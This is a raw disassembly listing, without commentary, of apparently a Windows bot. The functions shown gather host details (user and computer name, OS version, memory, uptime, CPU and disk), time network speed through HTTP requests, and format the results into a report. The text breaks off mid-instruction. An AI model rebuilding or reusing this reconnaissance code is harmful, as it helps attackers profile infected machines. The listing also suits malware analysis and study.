sub_40813C+62j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081F7 mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_4081D7 mov eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_4081F7 ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_40813C+8Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081F5 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_4081F5: ; CODE XREF: sub_40813C+AAj jmp short loc_4081AE ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40813C+7Aj ; sub_40813C+99j mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] mov [eax], ecx mov eax, [ebp+var_8] sub eax, [ebp+var_C] neg eax sbb eax, eax and eax, [ebp+var_8] leave retn sub_40813C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p ; sub_40821B+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_40820E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40821B proc near ; CODE XREF: sub_4083AD+3A4p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408221: ; CODE XREF: sub_40821B+4Aj ; sub_40821B+55j call sub_40820E mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h call dword_41709C ; Sleep call sub_40820E sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 186A0h push edx push eax call sub_416C90 push 0 push 0Ah push edx push eax call sub_416C90 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408221 jb short loc_408272 cmp [ebp+var_8], 0F4240h ja short loc_408221 loc_408272: ; CODE XREF: sub_40821B+4Cj push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_416C10 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_4082AB jb short loc_4082A0 cmp [ebp+var_18], 50h jnb short loc_4082AB loc_4082A0: ; CODE XREF: sub_40821B+7Dj mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_4082AB: ; CODE XREF: sub_40821B+7Bj ; sub_40821B+83j cmp [ebp+var_14], 0 ja short loc_4082C4 jb short loc_4082B9 cmp [ebp+var_18], 47h jnb short loc_4082C4 loc_4082B9: ; CODE XREF: sub_40821B+96j mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_4082C4: ; CODE XREF: sub_40821B+94j ; sub_40821B+9Cj cmp [ebp+var_14], 0 ja short loc_4082DD jb short loc_4082D2 cmp [ebp+var_18], 37h jnb short loc_4082DD loc_4082D2: ; CODE XREF: sub_40821B+AFj mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_4082DD: ; CODE XREF: sub_40821B+ADj ; sub_40821B+B5j cmp [ebp+var_14], 0 ja short loc_4082F6 jb short loc_4082EB cmp [ebp+var_18], 26h jnb short loc_4082F6 loc_4082EB: ; CODE XREF: sub_40821B+C8j mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_4082F6: ; CODE XREF: sub_40821B+C6j ; sub_40821B+CEj cmp [ebp+var_14], 0 ja short loc_40830F jb short loc_408304 cmp [ebp+var_18], 1Eh jnb short loc_40830F loc_408304: ; CODE XREF: sub_40821B+E1j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_40830F: ; CODE XREF: sub_40821B+DFj ; sub_40821B+E7j cmp [ebp+var_14], 0 ja short loc_408325 jb short loc_40831D cmp [ebp+var_18], 0Ah jnb short loc_408325 loc_40831D: ; CODE XREF: sub_40821B+FAj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408325: ; CODE XREF: sub_40821B+F8j ; sub_40821B+100j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] leave retn sub_40821B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408342 proc near ; CODE XREF: sub_40D043+156p ; sub_40D871+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1Fh push [ebp+arg_0] push 7 push 400h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 cmp [ebp+var_4], 0 jz short loc_408381 push offset off_419100 push [ebp+arg_0] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4083A8 loc_408381: ; CODE XREF: sub_408342+2Aj push 1Fh push [ebp+arg_0] push 7 push 800h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 mov eax, [ebp+var_4] jmp short locret_4083AB ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_408342+3Dj push 1 pop eax locret_4083AB: ; CODE XREF: sub_408342+64j leave retn sub_408342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083AD proc near ; DATA XREF: sub_4087C4+35o var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = dword ptr -73Ch var_738 = dword ptr -738h var_734 = byte ptr -734h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_714 = dword ptr -714h var_710 = dword ptr -710h var_70C = dword ptr -70Ch var_708 = byte ptr -708h var_6F0 = dword ptr -6F0h var_6EC = dword ptr -6ECh var_6E8 = dword ptr -6E8h var_6E4 = dword ptr -6E4h var_6E0 = byte ptr -6E0h var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = byte ptr -6C8h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = dword ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = byte ptr -50Ch var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_409 = byte ptr -409h var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 750h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_6CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_734] push eax call dword_4170C4 ; GlobalMemoryStatus mov eax, [ebp+var_72C] add eax, 100000h shr eax, 14h mov [ebp+var_6F0], eax mov eax, [ebp+var_728] add eax, 100000h shr eax, 14h mov [ebp+var_738], eax call sub_4092A4 mov [ebp+var_714], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_6E8], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_524], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_6E4], eax mov [ebp+var_8], 15h mov [ebp+var_6D0], 10h lea eax, [ebp+var_8] push eax lea eax, [ebp+var_708] push eax call dword_417018 ; GetUserNameA lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_6E0] push eax call dword_417078 ; GetComputerNameA mov [ebp+var_520], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_51C] rep stosd lea eax, [ebp+var_520] push eax call dword_417030 ; GetVersionExA mov [ebp+var_48C], offset a? ; "?" mov [ebp+var_710], offset aNoSp ; "no SP" cmp [ebp+var_51C], 4 jnz short loc_408522 cmp [ebp+var_518], 0 jnz short loc_408522 cmp [ebp+var_510], 1 jnz short loc_40850A mov [ebp+var_48C], offset a95 ; "95" loc_40850A: ; CODE XREF: sub_4083AD+151j cmp [ebp+var_510], 2 jnz short loc_40851D mov [ebp+var_48C], offset aNt ; "NT" loc_40851D: ; CODE XREF: sub_4083AD+164j jmp loc_4085B6 ; --------------------------------------------------------------------------- loc_408522: ; CODE XREF: sub_4083AD+13Fj ; sub_4083AD+148j cmp [ebp+var_51C], 4 jnz short loc_408540 cmp [ebp+var_518], 0Ah jnz short loc_408540 mov [ebp+var_48C], offset a98 ; "98" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_408540: ; CODE XREF: sub_4083AD+17Cj ; sub_4083AD+185j cmp [ebp+var_51C], 4 jnz short loc_40855E cmp [ebp+var_518], 5Ah jnz short loc_40855E mov [ebp+var_48C], offset aMe ; "ME" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: sub_4083AD+19Aj ; sub_4083AD+1A3j cmp [ebp+var_51C], 5 jnz short loc_40857C cmp [ebp+var_518], 0 jnz short loc_40857C mov [ebp+var_48C], offset a2000 ; "2000" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40857C: ; CODE XREF: sub_4083AD+1B8j ; sub_4083AD+1C1j cmp [ebp+var_51C], 5 jnz short loc_40859A cmp [ebp+var_518], 1 jnz short loc_40859A mov [ebp+var_48C], offset aXp ; "XP" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40859A: ; CODE XREF: sub_4083AD+1D6j ; sub_4083AD+1DFj cmp [ebp+var_51C], 5 jnz short loc_4085B6 cmp [ebp+var_518], 2 jnz short loc_4085B6 mov [ebp+var_48C], offset a2003 ; "2003" loc_4085B6: ; CODE XREF: sub_4083AD:loc_40851Dj ; sub_4083AD+191j ... cmp [ebp+var_510], 2 jnz short loc_4085D6 movsx eax, [ebp+var_50C] test eax, eax jz short loc_4085D6 lea eax, [ebp+var_50C] mov [ebp+var_710], eax loc_4085D6: ; CODE XREF: sub_4083AD+210j ; sub_4083AD+21Bj call sub_40435B test eax, eax jz short loc_4085EB mov [ebp+var_744], offset aYes ; "Yes" jmp short loc_4085F5 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: sub_4083AD+230j mov [ebp+var_744], offset aNo ; "No" loc_4085F5: ; CODE XREF: sub_4083AD+23Cj mov eax, [ebp+var_744] mov [ebp+var_4], eax and [ebp+var_47C], 0 and [ebp+var_409], 0 xor eax, eax cpuid mov [ebp+var_488], ebx mov [ebp+var_484], edx mov [ebp+var_480], ecx lea eax, [ebp+var_488] mov [ebp+var_6EC], eax and [ebp+var_70C], 0 lea eax, [ebp+var_70C] push eax push 20019h push 0 push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_4086B3 and [ebp+var_73C], 0 mov [ebp+var_740], 80h lea eax, [ebp+var_740] push eax lea eax, [ebp+var_488] push eax lea eax, [ebp+var_73C] push eax push 0 push offset aProcessornames ; "ProcessorNameString" push [ebp+var_70C] call dword_41700C ; RegQueryValueExA test eax, eax jnz short loc_4086A7 push 1 push 1 lea eax, [ebp+var_488] push eax call sub_407C2C add esp, 0Ch loc_4086A7: ; CODE XREF: sub_4083AD+2E5j push [ebp+var_70C] call dword_417028 ; RegCloseKey loc_4086B3: ; CODE XREF: sub_4083AD+2A8j cmp [ebp+var_6E4], 1 jnz short loc_4086C8 mov [ebp+var_748], offset byte_41DE30 jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_4086C8: ; CODE XREF: sub_4083AD+30Dj mov [ebp+var_748], offset dword_4191F4 loc_4086D2: ; CODE XREF: sub_4083AD+319j cmp [ebp+var_524], 1 jnz short loc_4086E7 mov [ebp+var_74C], offset byte_41DE30 jmp short loc_4086F1 ; --------------------------------------------------------------------------- loc_4086E7: ; CODE XREF: sub_4083AD+32Cj mov [ebp+var_74C], offset dword_4191F4 loc_4086F1: ; CODE XREF: sub_4083AD+338j cmp [ebp+var_6E8], 1 jnz short loc_408706 mov [ebp+var_750], offset byte_41DE30 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_408706: ; CODE XREF: sub_4083AD+34Bj mov [ebp+var_750], offset dword_4191F4 loc_408710: ; CODE XREF: sub_4083AD+357j lea eax, [ebp+var_708] push eax lea eax, [ebp+var_6E0] push eax push [ebp+var_748] push [ebp+var_6E4] push [ebp+var_74C] push [ebp+var_524] push [ebp+var_750] push [ebp+var_6E8] push [ebp+var_4] push [ebp+var_6F0] push [ebp+var_738] call sub_40821B push eax push [ebp+var_6EC] push [ebp+var_514] push [ebp+var_518] push [ebp+var_51C] push [ebp+var_710] push [ebp+var_48C] push offset dword_419104 push 400h lea eax, [ebp+var_408] push eax call sub_416BAE ; _snprintf add esp, 54h lea eax, [ebp+var_408] push eax push offset dword_418B64 lea eax, [ebp+var_6C8] push eax call sub_40D53F add esp, 0Ch push [ebp+var_6CC] call sub_409763 pop ecx xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_4083AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4087DE jmp short locret_408806 ; --------------------------------------------------------------------------- loc_4087DE: ; CODE XREF: sub_4087C4+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push [ebp+var_4] push offset sub_4083AD call sub_4095A4 add esp, 10h locret_408806: ; CODE XREF: sub_4087C4+18j leave retn sub_4087C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408808 proc near ; CODE XREF: sub_408887+Bp ; sub_408887+19p ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push 7D0h push 0 push offset a80 ; "80" lea eax, [ebp+var_28] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_8] call sub_4053B1 pop ecx cmp [ebp+var_8], 0 jnz short loc_40885F mov eax, 3E8h jmp short locret_408885 ; --------------------------------------------------------------------------- loc_40885F: ; CODE XREF: sub_408808+4Ej call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, 3E8h jnb short loc_40887B call sub_416B64 ; clock sub eax, [ebp+var_4] mov [ebp+var_2C], eax jmp short loc_408882 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_408808+64j mov [ebp+var_2C], 3E8h loc_408882: ; CODE XREF: sub_408808+71j mov eax, [ebp+var_2C] locret_408885: ; CODE XREF: sub_408808+55j leave retn sub_408808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408887 proc near ; CODE XREF: sub_408B30+1C2p ; sub_40CA29+1E9p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset dword_418F60 call sub_408808 pop ecx mov [ebp+var_4], eax push offset loc_418F6C call sub_408808 pop ecx mov [ebp+var_8], eax push offset dword_418F84 call sub_408808 pop ecx mov [ebp+var_C], eax push offset loc_418F90 call sub_408808 pop ecx mov [ebp+var_10], eax push offset dword_418FA0 call sub_408808 pop ecx mov [ebp+var_14], eax push offset dword_418FB0 call sub_408808 pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] add eax, [ebp+var_C] add eax, [ebp+var_10] add eax, [ebp+var_14] add eax, [ebp+var_18] xor edx, edx push 6 pop ecx div ecx leave retn sub_408887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: sub_408B30:loc_408D33p var_438 = qword ptr -438h var_430 = dword ptr -430h var_42C = qword ptr -42Ch var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = byte ptr -308h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 438h and [ebp+var_8], 0 jmp short loc_408912 ; --------------------------------------------------------------------------- loc_40890B: ; CODE XREF: sub_4088FC+23j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408912: ; CODE XREF: sub_4088FC+Dj mov eax, [ebp+var_8] cmp off_418FC4[eax*4], 0 jz short loc_408921 jmp short loc_40890B ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4088FC+21j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_408936 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_4088FC+D6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408936: ; CODE XREF: sub_4088FC+31j cmp [ebp+var_4], 3 jnb loc_408B2C mov eax, [ebp+var_8] dec eax push eax push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_318], eax mov eax, [ebp+var_318] shl eax, 1 push off_418FC4[eax*4] lea eax, [ebp+var_418] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_418] push eax call sub_4105FB pop ecx mov eax, [ebp+var_318] shl eax, 1 push off_418FC8[eax*4] lea eax, [ebp+var_308] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_308] push eax call sub_4105FB pop ecx push 2710h push 0 push offset a80 ; "80" lea eax, [ebp+var_418] push eax call sub_4050EA add esp, 10h mov [ebp+var_310], eax cmp [ebp+var_310], 0 jnz short loc_4089D7 jmp loc_40892F ; --------------------------------------------------------------------------- loc_4089D7: ; CODE XREF: sub_4088FC+D4j lea eax, [ebp+var_418] push eax lea eax, [ebp+var_308] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 200h lea eax, [ebp+var_208] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_208] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_4053BF add esp, 0Ch and [ebp+var_314], 0 call sub_416B64 ; clock mov [ebp+var_41C], eax and [ebp+var_30C], 0 loc_408A3A: ; CODE XREF: sub_4088FC+1AFj ; sub_4088FC+22Bj push 1388h push 200h lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_408A93 cmp [ebp+var_420], 0FFFFFFFFh jz short loc_408A93 call sub_416B64 ; clock sub eax, [ebp+var_41C] cmp eax, 1388h jnb short loc_408A93 cmp [ebp+var_30C], 100000h jb loc_408B15 loc_408A93: ; CODE XREF: sub_4088FC+16Aj ; sub_4088FC+173j ... cmp [ebp+var_30C], 2000h jnb short loc_408AAD push [ebp+var_310] call sub_40538D pop ecx jmp short loc_408A3A ; --------------------------------------------------------------------------- loc_408AAD: ; CODE XREF: sub_4088FC+1A1j mov eax, [ebp+var_30C] mov dword ptr [ebp+var_42C], eax and dword ptr [ebp+var_42C+4], 0 fild [ebp+var_42C] fstp [ebp+var_430] call sub_416B64 ; clock sub eax, [ebp+var_41C] mov dword ptr [ebp+var_438], eax and dword ptr [ebp+var_438+4], 0 fild [ebp+var_438] fdiv flt_417270 fdivr [ebp+var_430] call sub_416CF8 ; _ftol mov [ebp+var_424], eax push [ebp+var_310] call sub_40538D pop ecx mov eax, [ebp+var_424] jmp short locret_408B2E ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: sub_4088FC+191j mov eax, [ebp+var_30C] add eax, [ebp+var_420] mov [ebp+var_30C], eax jmp loc_408A3A ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_4088FC+3Ej xor eax, eax locret_408B2E: ; CODE XREF: sub_4088FC+217j leave retn sub_4088FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B30 proc near ; DATA XREF: sub_408E4A+35o var_A9C = qword ptr -0A9Ch var_A7C = qword ptr -0A7Ch var_A74 = dword ptr -0A74h var_A70 = dword ptr -0A70h var_A6C = dword ptr -0A6Ch var_A68 = dword ptr -0A68h var_A64 = dword ptr -0A64h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_8B8 = dword ptr -8B8h var_8B4 = dword ptr -8B4h var_8B0 = byte ptr -8B0h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = byte ptr -814h var_414 = byte ptr -414h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A7Ch push 1A7h push [ebp+arg_0] lea eax, [ebp+var_A60] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset dword_41EF48 lea eax, [ebp+var_414] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_824] push eax push 0 push 0 push offset dword_41EF48 call dword_41DE84 ; getaddrinfo test eax, eax jnz short loc_408BBC push 1 push 0 push 0 push 401h lea eax, [ebp+var_414] push eax mov eax, [ebp+var_824] push dword ptr [eax+10h] mov eax, [ebp+var_824] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo push [ebp+var_824] call dword_41DE8C ; freeaddrinfo loc_408BBC: ; CODE XREF: sub_408B30+54j call sub_409318 mov [ebp+var_8B8], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_830], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_820], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_82C], eax push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_8B0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp dword_41DE7C, 0 jz short loc_408C9F push 0 push 80h lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_818] push eax call dword_41DE7C ; InternetGetConnectedStateEx test eax, eax jz short loc_408C9F mov eax, [ebp+var_818] and eax, 1 test eax, eax jz short loc_408C8F push offset aModem ; "Modem" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_408C9F ; --------------------------------------------------------------------------- loc_408C8F: ; CODE XREF: sub_408B30+14Bj push offset aLan ; "LAN" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408C9F: ; CODE XREF: sub_408B30+11Fj ; sub_408B30+13Ej ... call sub_4043E9 test eax, eax jz short loc_408CB4 mov [ebp+var_A64], offset aYes ; "Yes" jmp short loc_408CBE ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: sub_408B30+176j mov [ebp+var_A64], offset aNo ; "No" loc_408CBE: ; CODE XREF: sub_408B30+182j mov eax, [ebp+var_A64] mov [ebp+var_8], eax call sub_404279 test eax, eax jz short loc_408CDC mov [ebp+var_A68], offset aYes ; "Yes" jmp short loc_408CE6 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: sub_408B30+19Ej mov [ebp+var_A68], offset aNo ; "No" loc_408CE6: ; CODE XREF: sub_408B30+1AAj mov eax, [ebp+var_A68] mov [ebp+var_8B4], eax call sub_408887 mov [ebp+var_828], eax mov [ebp+var_81C], offset aBad ; "Bad" cmp [ebp+var_828], 2EEh jnb short loc_408D1D mov [ebp+var_81C], offset aAvarage ; "Avarage" loc_408D1D: ; CODE XREF: sub_408B30+1E1j cmp [ebp+var_828], 1F4h jnb short loc_408D33 mov [ebp+var_81C], offset aGood ; "Good" loc_408D33: ; CODE XREF: sub_408B30+1F7j call sub_4088FC mov [ebp+var_4], eax cmp [ebp+var_82C], 1 jnz short loc_408D50 mov [ebp+var_A6C], offset byte_41DE30 jmp short loc_408D5A ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: sub_408B30+212j mov [ebp+var_A6C], offset dword_4191F4 loc_408D5A: ; CODE XREF: sub_408B30+21Ej cmp [ebp+var_820], 1 jnz short loc_408D6F mov [ebp+var_A70], offset byte_41DE30 jmp short loc_408D79 ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: sub_408B30+231j mov [ebp+var_A70], offset dword_4191F4 loc_408D79: ; CODE XREF: sub_408B30+23Dj cmp [ebp+var_830], 1 jnz short loc_408D8E mov [ebp+var_A74], offset byte_41DE30 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D8E: ; CODE XREF: sub_408B30+250j mov [ebp+var_A74], offset dword_4191F4 loc_408D98: ; CODE XREF: sub_408B30+25Cj push [ebp+var_A6C] push [ebp+var_82C] push [ebp+var_A70] push [ebp+var_820] push [ebp+var_A74] push [ebp+var_830] mov eax, [ebp+var_4] mov dword ptr [ebp+var_A7C], eax and dword ptr [ebp+var_A7C+4], 0 fild [ebp+var_A7C] fdiv flt_417274 push ecx push ecx fstp [esp+0A9Ch+var_A9C] push [ebp+var_828] push [ebp+var_81C] push [ebp+var_8B4] push [ebp+var_8] lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_414] push eax push offset dword_419284 push 400h lea eax, [ebp+var_814] push eax call sub_416BAE ; _snprintf add esp, 48h lea eax, [ebp+var_814] push eax push offset dword_418B64 lea eax, [ebp+var_A5C] push eax call sub_40D53F add esp, 0Ch push [ebp+var_A60] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_408B30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_408E64 jmp short locret_408E8C ; --------------------------------------------------------------------------- loc_408E64: ; CODE XREF: sub_408E4A+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push [ebp+var_4] push offset sub_408B30 call sub_4095A4 add esp, 10h locret_408E8C: ; CODE XREF: sub_408E4A+18j leave retn sub_408E4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p ; sub_40CA29+2DAp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 24h mov eax, dword_419398 mov [ebp+var_1C], eax and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408EA4: ; CODE XREF: sub_408E8E+95j lea eax, [ebp+var_1C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_408F14 cmp [ebp+var_10], 1 jz short loc_408F14 cmp [ebp+var_10], 5 jz short loc_408EE1 cmp [ebp+var_10], 2 jz short loc_408EE1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_408EF1 ; --------------------------------------------------------------------------- loc_408EE1: ; CODE XREF: sub_408E8E+33j ; sub_408E8E+39j push 8 push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch loc_408EF1: ; CODE XREF: sub_408E8E+51j push 0 push 100000h push [ebp+var_20] push [ebp+var_24] call sub_416C90 mov [ebp+var_24], eax mov [ebp+var_20], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_408F14: ; CODE XREF: sub_408E8E+27j ; sub_408E8E+2Dj mov al, byte ptr [ebp+var_1C] add al, 1 mov byte ptr 